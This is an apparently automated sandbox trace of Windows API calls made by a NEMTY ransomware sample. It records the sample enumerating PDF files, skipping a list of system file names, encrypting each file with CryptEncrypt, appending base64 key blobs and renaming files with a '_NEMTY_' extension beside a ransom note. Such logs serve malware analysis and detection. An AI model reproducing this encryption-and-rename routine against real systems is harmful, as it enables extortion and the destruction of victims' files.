cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0189.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0189.049] Sleep (dwMilliseconds=0x5) [0189.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2454fc50, dwHighDateTime=0x1d561e8)) [0189.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2454fc50, dwHighDateTime=0x1d561e8)) [0189.054] GetLastError () returned 0x0 [0189.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.054] GetLastError () returned 0x0 [0189.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.055] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.055] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.055] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.055] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="9AyVA6AFAh/Ovy+qzE2+Ltw+ZXngxPsQerXpy49ISS6jmhvAfpX8KOiigdYHyDJc\r\nwdMx4ncjhTK6U+M8PeaB2+qAuBNf6t/i4MdtGbT3ubNZyNFYNdXlFVm6hTuuQmN8\r\ndnFZD51x4FKMmXndcz97I6uc0FWO+/1P80Ld8klCOgl/X/G0W2dLNOLvsTSFHgVf\r\nFAdYeajfdEZDftLGFSq0m5nVGVAQKwi0yxIldVq9UXPzm2OrJrYaqCD3I7d6/kSp\r\nEURo/wL26B+VeVA+PyJ3mcYebH8540wJ+IT7XPM0DivipnpQ32X4mV3SNkEgxHS5\r\nJz43D8qdt+JphL9BTseJUg==\r\n", pcchString=0x653df5c) returned 1 [0189.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.055] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.055] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=38210) returned 1 [0189.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9540) returned 0x6352c48 [0189.055] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.056] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9540, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x9540, lpOverlapped=0x0) returned 1 [0189.060] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.060] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9540, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x9540, lpOverlapped=0x0) returned 1 [0189.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.060] SetFilePointer (in: hFile=0x320, lDistanceToMove=38210, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9542 [0189.060] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.060] CloseHandle (hObject=0x320) returned 1 [0189.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0189.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0189.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.061] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0189.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0189.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.061] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x180e0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0189.061] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0189.061] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0189.061] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0189.061] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0189.062] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.062] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0189.062] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0189.062] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0189.062] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0189.062] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0189.062] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0189.062] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0189.062] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.062] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0189.062] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0189.062] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0189.062] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0189.062] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.062] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0189.062] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0189.062] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0189.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0189.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0189.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.063] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.063] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.063] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340430 [0189.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340508 [0189.063] Sleep (dwMilliseconds=0x5) [0189.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24575db0, dwHighDateTime=0x1d561e8)) [0189.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24575db0, dwHighDateTime=0x1d561e8)) [0189.070] GetLastError () returned 0x0 [0189.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.070] GetLastError () returned 0x0 [0189.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0189.070] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.070] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.070] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0189.070] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="BtF9PnardwflLPiaRk9KQcIJ3F7pec9PkHtUpCey6C9XKol+9X05bmA8JOvIM0+Y\r\nwVHbiKNN7m48ex4gOI7e6RL6Bm/mw3oQBm/ZqPjVohqmrBn3r64GR35Q3ivne7fq\r\ngx5aZ1xVWYViL3ieVcX5mJNVVqGalcsxGm6Kj72fzS2EwzZTasUAT/gScfuJ2MYE\r\n0y4kOHcsF8zKEcfftxIFPpffRmL2h7xW5/y3Vxtcz73bWv+NF71bqMld1KrEnQtN\r\nNuH/H6QZw7tUTjnHHtoP4ATTBmGyCM2hdtuzDG1dIDv35MIvQuxu8P+N8rwgMKVP\r\nssMFhnr2JSETRpoA9gjxXg==\r\n", pcchString=0x653df5c) returned 1 [0189.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0189.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0189.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.071] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.071] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=98528) returned 1 [0189.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x180e0) returned 0x6352c48 [0189.071] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.071] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x180e0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x180e0, lpOverlapped=0x0) returned 1 [0189.079] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.079] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x180e0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x180e0, lpOverlapped=0x0) returned 1 [0189.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.079] SetFilePointer (in: hFile=0x320, lDistanceToMove=98528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x180e0 [0189.079] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.079] CloseHandle (hObject=0x320) returned 1 [0189.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344158 [0189.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0189.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0189.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0189.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0189.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344308 [0189.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0189.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0189.080] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0189.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0189.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0189.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340508 | out: hHeap=0x4f90000) returned 1 [0189.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.081] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24503990, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24503990, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24503990, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0189.081] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0189.081] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0189.081] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0189.081] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0189.081] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0189.081] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0189.081] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0189.081] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0189.081] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0189.081] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0189.081] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0189.081] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0189.081] 